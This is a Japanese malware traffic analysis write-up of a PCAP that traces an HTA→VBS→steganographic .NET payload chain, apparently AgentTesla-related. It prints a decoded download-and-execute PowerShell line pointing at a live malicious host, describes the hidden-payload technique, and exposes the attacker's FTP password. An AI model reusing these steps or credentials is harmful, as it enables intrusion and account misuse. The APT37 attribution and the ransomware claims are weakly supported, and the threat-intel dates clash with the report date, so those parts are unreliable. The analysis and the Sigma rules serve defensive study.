XLS-to-DBatLoader-or-GuLoader-for-AgentTesla-variant

解析対象ファイル

PCAPベース分析 | 日付: 2025-03-12 | 作成者: BlackOclock

目次

1. 分析概要

• 1.1 解析対象ファイル（PCAPのみ）
• 1.2 感染タイムラインとCVEマッピング

2. ネットワークトラフィック分析

• 2.1 プロトコル階層 – 全体像
• 2.2 Conversations – トップトーカーとデータ転送
• 2.3 Endpoints – Tx/Rx確認
• 2.4 HTTPエクスポートオブジェクト – 抽出ファイル
• 2.5 HTTP Containsフィルター – ステガノグラフィ確認

3. NetworkMiner分析

• 3.1 抽出ファイルの概要
• 3.2 ファイル詳細（HTA、VBS、TXT）
• 3.3 JA3 / JA3S / JA4 フィンガープリント

4. Zeek（ZUI）ログ分析

• 4.1 ファイル抽出確認
• 4.2 MD5/SHA1ハッシュとタイムスタンプ
• 4.3 VirusTotal統合

5. 抽出ファイルと静的解析

6. トリアージと行動分析

• 6.1 HTAトリアージ – mshta.exeの実行
• 6.2 VBSトリアージ – WScript.exeとPowerShell
• 6.3 TXTトリアージ – Notepad.exeとランサムウェアの挙動

7. プロセスインジェクション分析

• 7.1 プロセスツリー – mshta → cmd → powershell → csc → Notepad
• 7.2 WriteProcessMemory イベント
• 7.3 トークン操作（SeDebugPrivilege）

8. メモリダンプ分析

• 8.1 PowerShellメモリダンプ（HTA）（PID 4424）
• 8.2 comonstraints.vbs メモリダンプ（PID 1184）

9. C2検出とフィンガープリンティング

• 9.1 Jarm / JA4 分析
• 9.2 GreyNoiseとShodanピボッティングとC2インフラストラクチャマッピング

10. データ流出分析

• 10.1 FTPトラフィック – 89.39.83.184
• 10.2 盗まれ認証情報と連絡先リスト

11. ランサムウェアの挙動

• 11.1 foeMMBIG.txtの実行
• 11.2 Notepad.exe インジェクションターゲットとして

12. 脅威インテリジェンス

• 12.1 VirusTotalとMalwareBazaarの結果
• 12.2 MITRE ATT&CKマッピング
• 12.3 APT37（ScarCruft）の関連性

13. 検知エンジニアリング

• 13.1 Sigmaルール

14. 結論とIoC

• 14.1 攻撃チェーン全体の要約

• 14.2 侵害指標（IP、ハッシュ、ドメイン）

• 14.3 推奨事項

  root@kitploit:~

                                       注意!!! この分析では、「JUST」PCAPファイルのみを使用しました！ZIPファイルは不要でした。
  

##1. 分析概要

図1: malware-traffic-analysis.net からダウンロードしたソースファイル - 「JUST」PCAPファイルのみ使用\

2025-01-09（木曜日）: CVE-2017-0199 XLS → HTA → VBS → ステガノグラフィ → DBATLOADER/GULOADER スタイルマルウェア

##2. ネットワークトラフィック分析

2.1-プロトコル階層 – 全体像

最初にプロトコル階層を確認し、トラフィックの全体像を把握しました。これにより、各プロトコルの使用量が表示されます。図に示されているように、TLSが全トラフィックの82.4%を占めています。さらに、Media LineとLine-Basedデータも存在します。ただし、ネットワークアクティビティをより理解するためには、ConversationsとEndpointsを調査する必要があります。

2.2-Conversations – トップトーカーとデータ転送

Conversationsを使用して、最もデータ転送が多いIPペアを検出します。分析によると、10.9.1.101（ホスト）と104.17.201.1が最も高いトラフィック量を示しています。このデータ転送にはポート80と443が使用されました。さらに、104.17.201.1から10.9.1.101（ホスト）に3MBのデータが転送されたことがわかります。もう一つの重要な発見は、WAN IP（89.39.83.184）からの接続によるポート21の接続であり、潜在的なデータ流出の可能性を示唆しています。しかし、現時点では確信はなく、まだ詳細は不明です。証明が必要です！

2.3- Endpoints

Endpointsを使用して、ネットワーク上のトップトーカーを特定します。104.17.201.1は送信データ（Tx）が3MBで、10.9.1.101は受信データ（Rx）が3MBです。さらに、トップトーカーは送信元が104.17.201.1、送信先が10.9.1.101です。

2.4- HTTPエクスポートオブジェクト

Exportは、ネットワークを介して転送されたファイル、データ、メールなどを特定するために使用されます。PCAPを分析するときはいつでも、ここでどのパケットがどのデータを含んでいるかを確認する必要があります。パケット番号88、132、2457、2468に注目しました。

2.5- HTTP Containsフィルター

ネットワーク上にHTTPプロトコルがある場合、フィルタでメディアとしてpng、zip、jpg、jpeg（ステガノグラフィ）を確認する必要があります。攻撃者はしばしばメディアファイルに悪意のあるコードを埋め込んでウイルス対策を回避するからです。

#例: http contains ".png" または http contains ".jpg" または http contains ".jpeg" または http contains ".zip"

このフィルタがなぜ重要なのか、ネットワークでポート80が使用されている場合にわかります。ここでは、47番パケットでメディアファイルとして送信された.htaがあります。しかし、Exportを使用してファイルを特定しようとしたときには、それは見つかりませんでした。

##3. NetworkMiner分析

• 3.1 ファイル詳細（HTA、VBS、TXT）

NetworkMinerを使用すると、PCAP上のファイルをより速く特定できます。REMnuxまたはLinuxシステムを使用している場合、ターミナルで「networkminer pcap_name」と入力します。

Frame = 47 Filename= seemebestthingsevermeetgivenbestthingsfornewways | Extension = .hta | Size = 47 KB | Source IP = 192.3.27.144 Frame = 132 | Filename= comonstraints | Extension = .vbs | Size = 223 KB | Source IP = 107.172.31.5 Frame = 2457 | Filename = foeMMBIG | Extension = .txt | Size= 325 KB | Source IP = 107.172.31.5

• 3.2 JA3 / JA3S / JA4 フィンガープリント

JA3 Hashes:

• 06843d66057fc9cbe42e9d690308903 (Frame 8)
• 62136a81b5b727d039d8160d188863aa (Frame 14)
• 3c4eb72b882d4d1442c67ce73f1292a9 (Frame 140)

JA4 Fingerprints:

• t13d1516h2_8daaf6152771_02713d6af862
• t13d201000_2b729b4bf63_29829a46703f

しかし、なぜJA4およびJA3ハッシュが必要なのでしょうか？JA3とJA4とは何かという疑問があるかもしれません。

説明します。JA3とJA4は、TLSハンドシェイクのパラメータに基づいてTLSクライアントとサーバをフィンガープリントする技術です。JA3はTLSハンドシェイクのClient HelloパケットのMD5ハッシュを作成し、クライアントアプリケーション（例：ブラウザ、マルウェア）を一意に識別します。

JA4はより新しい技術です。インターネットトラフィックに対する指紋のようなものです。人間に固有の指紋があるように、インターネットに接続するすべてのソフトウェアは固有の痕跡を残します。C2サーバを見つけるのにさらに役立ちます。

##4. Zeek（ZUI）ログ分析

• 4.1 ファイル抽出確認、MD5/SHA1ハッシュとタイムスタンプ、VirusTotal統合

Zeekログを使用して、HTTPトラフィックから抽出されたファイルを確認しました。files.logには以下のエントリが表示されています。

これらのハッシュは後でVirusTotal検索に使用されました。

Hta (seemebestthing…)

MD5 e90ae8ec16ea2056caaa64ac13a31373 SHA1 8041abda3769b97d8e8b980c6a77fcd2829d715 SHA256 df215a01f6a83014a148c6e407cdc8422e9119a88b4220a1321b2986ea9aef63

MD5 3f691c4d5e1b53d16964d30e35863f77 SHA1 9ade8197b6f8828f384d5431a1d3a1b00e162782 SHA256 a666a99f2056082802f4597f180f891582a527324a16d34b4755ed63e5467882

MD5 9409dc8763c7d40af120ad693545ef98 SHA1 bec5f3f43449189ebf5dadf314288acace4828d7 SHA256 018648727f760e361eb4efa7f955a7815a197224c23016b321ab954767b45b82

##5. 抽出ファイルと静的解析

ここでは、PCAPからすべてのファイルをデスクトップにエクスポートし、binwalkを使って分析します。

HTAファイルはクリーンに見えます。隠されたデータは見つかりませんでした。通常のテキストファイルのようです。

VBSファイルは異なります。内部に2つのものを見つけました：

一部のBase64データとHTMLドキュメント これはVBSファイルが複数のレイヤーを持っていることを意味します。攻撃者は内部にコードを隠そうとしました。

TXTファイルは奇妙な出力を示しました。"Broadcom header"と表示されますが、テキストファイルとしては意味がありません。ファイルが壊れているか、内部に別のレイヤーがある可能性があります。詳細を理解するためにサンドボックスで実行する必要があります。

##6. トリアージと行動分析

• 6.1 HTAトリアージ – mshta.exeの実行

HTAファイルをサンドボックスで実行しました。以下が結果です。

HTAの結果が出ました。Triageによるスコアは8/10です。

5ステップのプロセスチェーン： mshta.exe (PID 1080) が開始 cmd.exe (4952) を起動 cmd.exe が powershell.exe (4424) を起動 PowerShell が SeDebugPrivilege を有効化（他のプロセスにアクセスするため） WriteProcessMemory がコードインジェクションのために複数回使用

インジェクションチェーン：

mshta.exe (1080) → cmd.exe (4952) → powershell.exe (4424) → csc.exe (4432) → unknown process (3332)

PowerShellは実行中のプロセスも確認し（ディスカバリ）、システム言語も調べました（おそらくサンドボックス回避のため）。

HTAで確認したMITREテクニック：

T1059.001 (PowerShell) T1059.003 (cmd) T1057 (process discovery) T1134 (token manipulation) T1055 (process injection) T1614.001 (language detection)

ここでは、cmd.exeによるPowerShellコマンド内にFromString64Baseが見られます。base64のコードを確認するためにCyberChefでデコードする必要があります。

PowerShellコマンドでBase64文字列を見つけました。CyberChefでデコードした後、次の内容が表示されました：

URLDownloadToFile(0, "http://107.172.31.5/comonstraints.vbs", "...", 0, 0) Start-Sleep(3) Invoke-Expression "..."

つまり、107.172.31.5からcomonstraints.vbsをダウンロードし、3秒間スリープして実行するということです。次のステップでcomonstraints.vbsがダウンロードされます。

• 6.2 VBSトリアージ – WScript.exe と PowerShell

VBSの結果が出ました。Triageによるスコアは10/10です。

プロセスチェーン： Wscript.exeが実行され、PowerShell.exeを起動しました。

画像のプロセスコードを確認すると、#x#.GIBMMeof/5.13.271.701//:p##h ----> エンコードされたパス http://107.172.31.5/foeMMBIG.txt（PCAPのエクスポートで見られたもの）が見られます。

また、このサイト https://res.cloudinary.com/dnkr4s5yg/image/upload/v1735420882/givvuo2katk3jnggipgn.jpg には、jpg内に悪意のあるコードが含まれています。JPGには<BASE64_START>と<BASE64_END>タグがあります。つまり、それらの間に隠されたコードがあることを意味します。隠されたテキストは実際にはBase64ですが、逆順で書かれています。スクリプトは最初にそれを反転させ、次にデコードします。デコード後、小さなプログラム（.NETアセンブリ）になり、コンピュータ上で実行されます。

jpgのダウンロードを試みました。

しかし、取得できませんでした。このアドレスは閉鎖された可能性があります。VBSファイルは画像をダウンロードし、その中に隠されたコードを見つけ、修正し、実行します。これはステガノグラフィと呼ばれ、画像内に物を隠す技術です。

MITREテクニック：

T1012 - Query Registry T1082 - System Information Discovery T1055 - Process Injection T1057 – Process Discovery T1134 – Access Token Manipulation

• 6.3 TXTトリアージ – Notepad.exe とランサムウェアの挙動

• ファイルはNotepad.exe (PID 4600) で開かれました
• その後、Notepadが自身にコードを注入（プロセスインジェクション）
• デスクトップ上のファイルが暗号化され始めました
• 身代金要求メモがtxtとして表示されました

これにより、foeMMBIG.txtが実際にランサムウェアドロッパーであることが確認されました。

MITREテクニック：

• T1055 (Process Injection)

##7. プロセスインジェクション分析

7.1 プロセスツリー

mshta.exe (1080) → cmd.exe (4952) → powershell.exe (4424) → csc.exe (4432) → Notepad.exe (4600)

7.2 WriteProcessMemory イベント

PID 1080 (mshta.exe) が PID 4952 (cmd.exe) に書き込み PID 4952 (cmd.exe) が PID 4424 (powershell.exe) に書き込み PID 4424 (powershell.exe) が PID 4432 (csc.exe) に書き込み PID 4432 (csc.exe) が PID 3332 (不明) に書き込み

7.3 トークン操作

PowerShell (PID 4424) が SeDebugPrivilege を有効にし、他のプロセスにアクセスできるようにしました。

##8. メモリダンプ分析

• 8.1 PowerShellメモリダンプ（HTA）（PID 4424）

マルウェアが実行されたとき、サンドボックスはPowerShell (PID 4424) のメモリスナップショットを取得しました。これらのスナップショットは、その時点のコンピュータのRAMの内容を保存します。

20以上のメモリダンプファイルが見つかりました。

• 8.2 comonstraints.vbs メモリダンプ (PID 1184)

VBSファイル（WScript.exe、PID 1184で実行）もメモリダンプを作成しました。これらのダンプのサイズはほとんど64KBです。これは小さな割り当てでは正常です。しかし、Notepad.exe (PID 4600) のメモリダンプを確認しましたが、ありませんでした。NotepadがfoeMMBIG.txtを開くために使用されたことを考えると、これは興味深いです。

##9. C2検出とフィンガープリンティング

• 9.1 Jarm / JA4 分析

2つのIPからJarmのみが出力されました

• 9.2 GreyNoiseとShodanピボッティングとC2インフラストラクチャマッピング

NetworkMinerからJA4フィンガープリントを抽出し、GreyNoiseで検索しました。同じJA4フィンガープリントを持つ26のIPが悪意のあるものとしてフラグされていることがわかりました。その後、これらのIPすべてをShodanで検索して、開いているポートとサービスを確認しました。

このリストはGreyNoiseをチェックして作成され、これらのIPはGreyNoiseで悪意があるとしてフラグされています：

• 34.122.147.229（Webアプリケーションへのブルートフォースログイン試行 - 出典: Guardpot - 7ヶ月前 このIPは2つの異なる攻撃タイプにわたる1222イベントに関与しました。攻撃: tcp-portscan (1177)、fortinet-login (45)。最初の発見: 2024-05-07 23:10 UTC、最後の発見: 2025-07-17 17:28 UTC。3/94のセキュリティベンダーがこのIPアドレスを悪意ありとフラグしました。Not After: 2020-11-30 22:10:40）

• 107.189.1.175 - Shodan結果 C: ルクセンブルク 組織：Buy VM 開放ポート: 80 / 443 / 9001 / 9030

• 104.197.69.115（Webアプリケーションへのブルートフォースログイン試行 - 出典: Guardpot - 5ヶ月前 このIPは2つの異なる攻撃タイプにわたる1159イベントに関与しました。攻撃: tcp-portscan (1124)、fortinet-login (35)。最初の発見: 2024-07-11 04:26 UTC、最後の発見: 2025-09-25 12:08 UTC。4/94のセキュリティベンダーがこのIPアドレスを悪意ありとフラグしました）

• 34.72.176.129（Webアプリケーションへのブルートフォースログイン試行 - 出典: Guardpot - 5ヶ月前 このIPは2つの異なる攻撃タイプにわたる1233イベントに関与しました。攻撃: tcp-portscan (1201)、fortinet-login (32)。最初の発見: 2024-07-11 04:26 UTC、最後の発見: 2025-09-25 12:12 UTC。 CrowdSec CTIで詳細情報を確認 - 出典: CrowdSec - 1年前 振る舞い: Exploitation attempt / HTTP Bruteforce / HTTP Crawl + さらに2つ。CrowdSec CTIで詳細 6/94のセキュリティベンダーがこのIPアドレスを悪意ありとフラグ）

• 34.123.170.104（Webアプリケーションへのブルートフォースログイン試行 - 出典: Guardpot - 1ヶ月前 このIPは3つの異なる攻撃タイプにわたる1141イベントに関与しました。攻撃: tcp-portscan (1097)、fortinet-login (42)、web-login (2)。最初の発見: 2024-05-23 14:07 UTC、最後の発見: 2026-01-26 05:22 UTC。 CrowdSec CTIで詳細情報を確認 - 出典: CrowdSec - 1年前 振る舞い: HTTP Crawl / HTTP DoS / HTTP Exploit + さらに1つ。CrowdSec CTIで詳細） 3/94のセキュリティベンダーがこのIPアドレスを悪意ありとフラグ

• 121.127.42.69（3/94のセキュリティベンダーがこのIPアドレスを悪意ありとフラグ）

• 185.220.101.2 Shodan結果（ホスト名: berlin01.tor-exit.artikel10.org 国: ドイツ 組織: Artikel10 e.V. ISP: Stiftung Erneuerbare Freiheit（TOR）ポート: 80/443/9001/9002）

• 185.220.101.162（ホスト名: tor-exit-162.relayon.org 国: ドイツ 組織: CIA TRIAD SECURITY LLC ISP: Stiftung Erneuerbare Freiheit）

• 205.169.39.24 ネットワークポートスキャンと偵察 - 出典: Guardpot - 8ヶ月前 このIPは1つの攻撃タイプにわたる86イベントに関与しました。攻撃: tcp-portscan (86)。最初の発見: 2024-08-22 22:29 UTC、最後の発見: 2025-07-04 17:29 UTC。

• 47.254.76.66（クラウドプロバイダー: Alibaba Cloud 国: アメリカ 開放ポート: 22 オペレーティングシステム: Linux

• 47.251.118.89（クラウドプロバイダー: Alibaba Cloud 国: アメリカ 開放ポート: 22 オペレーティングシステム: Linux）

• 107.189.12.7（ホスト名: tor.privatebrowsing.org 国: ルクセンブルク 開放ポート: 80）

• 47.88.18.245（国: アメリカ OS: Linux 開放ポート: 22）

• 79.127.248.2（4/94のセキュリティベンダーがこのIPアドレスを悪意ありとフラグ 国: アメリカ）

• 185.126.82.201（国: アメリカ ポート: 1080）

• 45.92.19.139（国: アメリカ ポート: 59511）

• 47.251.186.126（国: アメリカ ポート: 22）

• 79.127.221.66（国: アメリカ ポート: 1080）

• 185.241.208.136（国: ポーランド ホスト名: ns2.rdp.rs 開放ポート: 111/8440/9001）

• 47.89.246.29（国: アメリカ ポート: 22）

##10. データ流出分析

• 10.1 FTPトラフィック – 89.39.83.184

89.39.83.184を確認すると、このIPがホストとポート21で接続していることがわかります。21番ftpのパケットをクリックしてFollow → TCP STREAMを選択すると、攻撃者のメールアドレスとパスワードが表示されます。

• 10.2 盗まれた認証情報と連絡先リスト

NetworkMinerでファイルを確認すると、パケット番号2498（PW_user1_DESKTOP.html）と2516（Contacts_Thunder.txt）がありました。これらのファイルをエクスポートしたところ、フィッシング攻撃（推測）またはアカウント窃取のためのユーザー名とパスワードの情報が含まれていました。

攻撃者のインフラについてさらに詳しく調べるため、ShodanでFTPサーバーIP（89.39.83.184）を検索しました。

##12. 脅威インテリジェンス

12.1 VirusTotalとMalwareBazaarの結果

Zeekログ（セクション4）から得られたハッシュをVirusTotalとMalwareBazaarで確認しました。すべてのファイルが悪意のあるものと確認されました：

HTAファイル: 33/61検出、AgentTeslaとして識別 VBSファイル: 31/62検出、AgentTesla / Taluとして識別 TXTファイル: 25/62検出、Zapchast / Bhgd（ランサムウェアドロッパー）として識別

完全なハッシュリストについてはセクション14.2を参照。

12.2 MITRE ATT&CKマッピング

T1059.001 - PowerShell T1059.003 - cmd T1134 - token manipulation T1614.001 - language detection T1012 - Query Registry T1082 - System Information Discovery T1055 - Process Injection T1057 – Process Discovery

12.3 APT37（ScarCruft）の関連性

なぜこの攻撃がAPT37のように見えるのか？

今回の攻撃で見られた点 - APT37が既知の点 HTAファイルを使用して感染を開始 - APT37はHTAファイルを多用する Base64コマンドを含むPowerShell - APT37はPowerShellを好む ステガノグラフィ（JPGに隠されたコード） - APT37は画像内にコードを隠す プロセスインジェクション（mshta → cmd → powershell → csc） - APT37は信頼されたプロセスにコードを注入する 盗んだデータのFTP流出 - APT37は認証情報やファイルを盗む 最後にランサムウェア - APT37は現在ランサムウェアも使用する 標的はおそらくヨーロッパ - APT37はヨーロッパで活動している 結論 今回の攻撃で見られた手口は、APT37が通常行うことと一致します。100%の証拠ではありませんが、APT37のように見えます。北朝鮮のハッカーグループが背後にいる可能性が高いです。

##13. 検知エンジニアリング

• 13.1 Sigmaルール

title: SeDebugPrivilege in PowerShell description: Detects PowerShell enabling SeDebugPrivilege (possible token manipulation) logsource: category: process_creation product: windows detection: selection: Image|endswith: '\powershell.exe' CommandLine|contains: 'SeDebugPrivilege' condition: selection

title: FTP Exfiltration description: Detects FTP connections from processes that shouldn't use FTP logsource: category: network_connection product: windows detection: selection: Image|endswith: - '\powershell.exe' - '\cmd.exe' - '\wscript.exe' DestinationPort: 21 condition: selectiontitle: PowerShell ダウンロード description: PowerShellがインターネットからファイルをダウンロードすることを検出します logsource: category: process_creation product: windows detection: selection: Image|endswith: '\powershell.exe' CommandLine|contains|all: - 'URLDownloadToFile' - 'http' condition: selection

title: Temp からのメモ帳 description: メモ帳がTempフォルダからファイルを開くことを検出します（プロセスインジェクションの可能性） logsource: category: process_creation product: windows detection: selection: Image|endswith: '\notepad.exe' CommandLine|contains: '\Temp' condition: selection

注意！これは基本的な内容ですが、私はシグマルールを学習しているところです。

##14. 結論とIOC

14.1 攻撃チェーンの概要

感染は、192.3.27.144からダウンロードされた悪意のあるHTAファイルから始まりました。開かれると、以下のプロセスのチェーンが起動されました。

mshta.exe → cmd.exe → powershell.exe → csc.exe → Notepad.exe

主な発見事項:

• PowerShellがSeDebugPrivilegeを有効にし、WriteProcessMemoryを使用してコードインジェクションを実行 VBSファイルはCloudinaryからJPGをダウンロードしました。そのJPGには、<BASE64_START>と<BASE64_END>タグの間に隠されたBase64データが含まれていました。 スクリプトはこのデータを抽出し、反転させて、.NETアセンブリにデコードしました。このアセンブリはメモリに読み込まれ、実行されました。JPGをダウンロードできませんでしたが（401エラー）、コードからは、これが最終ペイロード（foeMMBIG.txt）をダウンロードしたメカニズムであることが強く示唆されています。

脅威アクター: APT37 – 手法は既知のTTPと一致

14.2 侵害の指標

IPアドレス:

IP = 107.172.31.5 | 役割 = C2サーバー (VBS, TXTダウンロード) IP = 89.39.83.184 | 役割 = FTP流出サーバー IP = 192.3.27.144 | 役割 = HTAダウンロード元 IP = 104.17.201.1 | 役割 = 初段階ダウンロード (3 MB) GreyNoiseからの25の悪意のあるIPアドレス | 完全な一覧はセクション9.2を参照

ドメイン:

Domain = res.cloudinary.com 役割= ステガノグラフィ (隠しコードを含むJPG) Domain = ip-api.com Filename= index.B23BDC8E.txt(false) 役割 = サンドボックス回避チェック

ファイルハッシュ:

(seemebestthing…).hta MD5 e90ae8ec16ea2056caaa64ac13a31373 SHA1 8041abda3769b97d8e8b980c6a77fcd2829d715 SHA256 df215a01f6a83014a148c6e407cdc8422e9119a88b4220a1321b2986ea9aef63

comostraints.vbs MD5 3f691c4d5e1b53d16964d30e35863f77 SHA1 9ade8197b6f8828f384d5431a1d3a1b00e162782 SHA256 a666a99f2056082802f4597f180f891582a527324a16d34b4755ed63e5467882

foeMMBIG.txt MD5 9409dc8763c7d40af120ad693545ef98 SHA1 bec5f3f43449189ebf5dadf314288acace4828d7 SHA256 018648727f760e361eb4efa7f955a7815a197224c23016b321ab954767b45b82

FTP認証情報:

• ユーザー名: [email protected]
• パスワード: e)rwKbkKP8-m0

14.3 推奨事項

• IOCセクションに記載されているすべてのIPアドレスとドメインをブロックする
• JA3/JA4フィンガープリントを監視して、類似のC2インフラを検出する
• SIEMでSigmaルールを使用する（セクション13参照）
• ユーザーにトレーニングを実施し、HTAファイルを配信するフィッシング攻撃について注意喚起する
• PowerShellログ記録を有効にし、SeDebugPrivilegeの使用を監視する
• 類似のプロセスインジェクションパターンを示すホストを隔離して調査する